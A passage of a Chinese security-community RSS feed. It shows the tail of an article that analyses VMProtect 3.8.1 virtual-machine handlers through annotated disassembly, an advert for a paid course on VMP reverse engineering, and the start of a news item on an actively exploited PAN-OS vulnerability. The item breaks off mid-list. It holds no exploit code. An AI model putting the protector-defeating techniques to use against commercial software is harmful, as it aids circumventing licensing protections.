leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[esi]</span><span leaf=""><span class="code-snippet__comment">//从虚拟栈中读取参数2</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19A4</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xD886303E</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19A9</span><span leaf=""> | </span><span leaf="">not</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//取反参数1</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19AB</span><span leaf=""> | </span><span leaf="">dec</span><span leaf="">cx</span><span leaf="">                                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19AE</span><span leaf=""> | </span><span leaf="">ror</span><span leaf="">cl</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x27</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19B1</span><span leaf=""> | </span><span leaf="">not</span><span leaf="">edx</span><span leaf=""><span class="code-snippet__comment">//取反参数2</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19B3</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0x2]</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x42</span><span leaf="">                  |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19B8</span><span leaf=""> | </span><span leaf="">or</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">ecx</span><span leaf=""><span class="code-snippet__comment">//执行或运算</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19BA</span><span leaf=""> | </span><span leaf="">and</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">edx</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19BC</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[esi]</span><span leaf="">,</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//结果存放到虚拟栈</span></span></code></pre></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span leaf="" mpa-font-style="mniop9tu21n4" style="font-size: 15px;">以上就是 VMProtect 3.8.1 核心混淆策略的全拆解，高版本 VMP 的全指令变形、Handler 多级融合、内存常数加密等机制，看似彻底阻断逆向分析，实则有完整的破解思路与落地方法。</span></p><p><span leaf="" style="font-size: 15px;">如果想把文章里的理论变成<span textstyle="" style="font-weight: bold;">可实战的逆向能力，</span>彻底搞定<span textstyle="" style="font-weight: bold;">高版本 VMP 逆向、Handler 抗变形识别、x32/x64 调试器插件开发，</span>欢迎关注课程：<span textstyle="" style="font-weight: bold;">《VMProtect 分析与调试器插件开发》</span>从 VMP 底层架构到插件实战开发，全程带你啃下高版本 VMP 逆向硬骨头。</span></p><p style="text-align: center;margin-top: 16px;"><a href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612118&amp;idx=1&amp;sn=5897293d6c1e2be53f49989ec20d897c&amp;scene=21#wechat_redirect" imgurl="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K05cM2AicFtbaibDr7Rr0StbTvzreg51ZFXazXNxPvGHw5QRWwWyHAOXyiafwdhXCTpicg75nia2K6Q6mYCOY9v1CvbB8cZkibqLTzicI/640?wx_fmt=jpeg&amp;from=appmsg" linktype="image" tab="innerlink" data-itemshowtype="0" target="_blank" data-linktype="1"><span class="js_jump_icon h5_image_link"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.40390625" data-s="300,640" data-type="jpeg" data-w="1280" type="block" data-imgfileid="311130573" src="https://wechat2rss.xlab.app/img-proxy/?k=cbd667fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K05cM2AicFtbaibDr7Rr0StbTvzreg51ZFXazXNxPvGHw5QRWwWyHAOXyiafwdhXCTpicg75nia2K6Q6mYCOY9v1CvbB8cZkibqLTzicI%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></a><span leaf="" style="font-size: 14px;" mpa-font-style="moibdx8iv56" data-mpa-action-id="moibdx8w1m9o" data-pm-slice="0 0 []"><span textstyle="" style="color: rgb(0, 82, 255);">VMProtect分析与调试器插件开发-999元</span></span></p><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);letter-spacing: 1px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: auto;margin-left: auto;padding: 15px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;font-variant-numeric: normal;letter-spacing: 0.544px;line-height: 27.2px;width: 656.688px;justify-content: space-between;align-items: center;flex-direction: row;box-shadow: rgb(217, 218, 218) 0px 0px 10px;background-color: rgb(232, 234, 235);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;justify-content: flex-start;align-items: center;flex-direction: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;border-width: 1px;border-style: solid;border-color: rgb(182, 182, 187);border-radius: 50%;width: 70px;height: 70px;overflow: hidden;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="128" style="-webkit-tap-highlight-color:transparent;outline:0px;border-style:none;letter-spacing:0.544px;display:inline;width:68px;visibility:visible !important;height:68px;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/Cpo2XCpI7K2dJVeyuMRia1L4TX7qvjl5SyDIc5ia6RgkFS8rnb6BlYq7IhJlRkeBTHuRr1GC9hfT8iaFq95qoJgp5k8GG2J20jET6XxWZuiaoFw/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="68" data-cropsely2="68" data-imgfileid="311130567" src="https://wechat2rss.xlab.app/img-proxy/?k=cc8b94ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2dJVeyuMRia1L4TX7qvjl5SyDIc5ia6RgkFS8rnb6BlYq7IhJlRkeBTHuRr1GC9hfT8iaFq95qoJgp5k8GG2J20jET6XxWZuiaoFw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-left: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;align-items: flex-start;justify-content: center;flex-direction: column;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" data-immersive-translate-paragraph="1" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 15px;letter-spacing: 1px;font-weight: bolder;"><span leaf="">看雪ID：</span><span leaf="">阿强</span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: normal;"><span leaf=""><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://bbs.kanxue.com/user-home-1004848.htm" target="_blank">https://bbs.kanxue.com/user-home-1004848.htm</a></span></span></span></p></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;min-height: 1em;background-color: rgb(255, 255, 255);"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 14px;color: rgb(136, 136, 136);"><span leaf="">*本文为看雪论坛优秀文章，由 </span><span leaf="">阿强</span><span leaf="">原创，转载请注明来自看雪社区<img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></p><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 645px;vertical-align: top;background-color: rgb(248, 248, 248);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 20px;margin-bottom: 20px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;flex-flow: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: 30px;margin-left: 30px;-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: auto;vertical-align: top;flex: 100 100 0%;height: auto;align-self: flex-start;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(68, 73, 85);" data-pm-slice="0 0 []" data-mpa-action-id="moi8fcyyrto"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-weight: bolder;letter-spacing: 1px;font-size: 15px;color: rgb(2, 30, 170);"><span style="color: rgb(2, 30, 170);font-size: 15px;" mpa-font-style="md8f6c2zutc"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);"># 往期推荐</span></span></span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614166&amp;idx=1&amp;sn=86a613ea3b1ecfae8b66c1a54c4051c2&amp;scene=21#wechat_redirect" textvalue="Ptrace注入代码在不同平台的区别（ARM64、x86-64、MIPS64）" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">Ptrace注入代码在不同平台的区别（ARM64、x86-64、MIPS64）</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="moi8fcxr1hr9" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614097&amp;idx=1&amp;sn=d1d38a7c3c3ff32cbc9fb880310e6973&amp;scene=21#wechat_redirect" textvalue="浅谈梯度分析与样本对抗：以vlm和ddddocr为例" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">浅谈梯度分析与样本对抗：以vlm和ddddocr为例</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="moi8fcxr1xqs" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614096&amp;idx=1&amp;sn=60f571032ee9790a072fe23816df0b1c&amp;scene=21#wechat_redirect" textvalue="ANDROID 黑科技 : 保活机制深度逆向" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">ANDROID 黑科技 : 保活机制深度逆向</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="moi8fcxr7oc" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614046&amp;idx=1&amp;sn=4141c556c1195141951d4ee5fe9911b3&amp;scene=21#wechat_redirect" textvalue="更好理解：CVE-2021-1732漏洞分析报告与利用" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">更好理解：CVE-2021-1732漏洞分析报告与利用</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614010&amp;idx=1&amp;sn=836929710597a2b804d77c892d9401a7&amp;scene=21#wechat_redirect" textvalue="LLVM Pass编写及去除 —— 控制流平坦化" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">LLVM Pass编写及去除 —— 控制流平坦化</span></a></span></p></div></div></div></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="-webkit-tap-highlight-color: transparent;outline: 0px;border-style: none;color: rgb(102, 102, 102);font-family: 微软雅黑;font-size: 15px;letter-spacing: 0.544px;widows: 1;display: inline;width: 661px !important;visibility: visible !important;" width="661px" data-backw="562" data-backh="263" data-copyright="0" data-fileid="100035996" data-imgfileid="311109982" src="https://wechat2rss.xlab.app/img-proxy/?k=e6b64b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FUia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111351" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 13px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111352" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111353" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111354" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec9988e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://bbs.kanxue.com/thread-290726.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=584dc26c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614579%26idx%3D1%26sn%3De7e00532d3ef8803a5e4206d31b932ff">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>Palo Alto PAN-OS 高危漏洞已遭在野利用：可获root权限，官方下周发补丁</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614579&amp;idx=2&amp;sn=ad625ae6a74ef9508c95bad9c6cea4ef</link>
      <description>暂无正式补丁，务必限制门户访问或立即禁用</description>
      <content:encoded><![CDATA[<p><span>看雪学苑</span> <span>2026-05-06 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8c24a376&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1QUgSUicf6vP20pc2nIpdl0MabMpSF4u2B559hMDuiasZlX8LMoN3PaXneZ2rbIicVIJUEaZcxk03lEicafMGnE9x25OB3C378BI4%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>暂无正式补丁，务必限制门户访问或立即禁用</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);"><div style="box-sizing: border-box;" data-mpa-action-id="mottg0rx1tgg" data-pm-slice="0 0 []"><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r3p18"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Palo Alto Networks 本周发布紧急安全公告，确认旗下 PAN-OS 操作系统存在一处严重的缓冲区溢出漏洞，编号 CVE-2026-0300。该漏洞允许未经身份验证的远程攻击者向 PA 系列和 VM 系列防火墙发送特制数据包，从而以 root 权限执行任意代码，相当于完全控制设备。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r36ey"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">漏洞的危害程度与部署方式密切相关。如果 User-ID 认证门户（即强制门户）被配置为可从互联网或任何非可信网络访问，风险评分将达到 CVSS 9.3 分（严重级）；而若严格限制仅允许受信任的内部 IP 访问，评分则降至 8.7 分。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r3rky"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Palo Alto Networks 证实，该漏洞已被攻击者用于“有限的在野利用”，具体活动瞄准了那些将 User-ID 认证门户暴露在公网上的环境。受影响的 PAN-OS 版本覆盖多个主流分支，包括：</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r31yet"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">- PAN-OS 12.1 部分版本（低于 12.1.4-h5 或 12.1.7）</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r32490"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">- PAN-OS 11.2 部分版本（低于 11.2.4-h17、11.2.7-h13 等）</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r31lpq"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">- PAN-OS 11.1 部分版本（低于 11.1.4-h33、11.1.15 等）</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r31lgc"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">- PAN-OS 10.2 部分版本（低于 10.2.7-h34、10.2.18-h6 等）</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 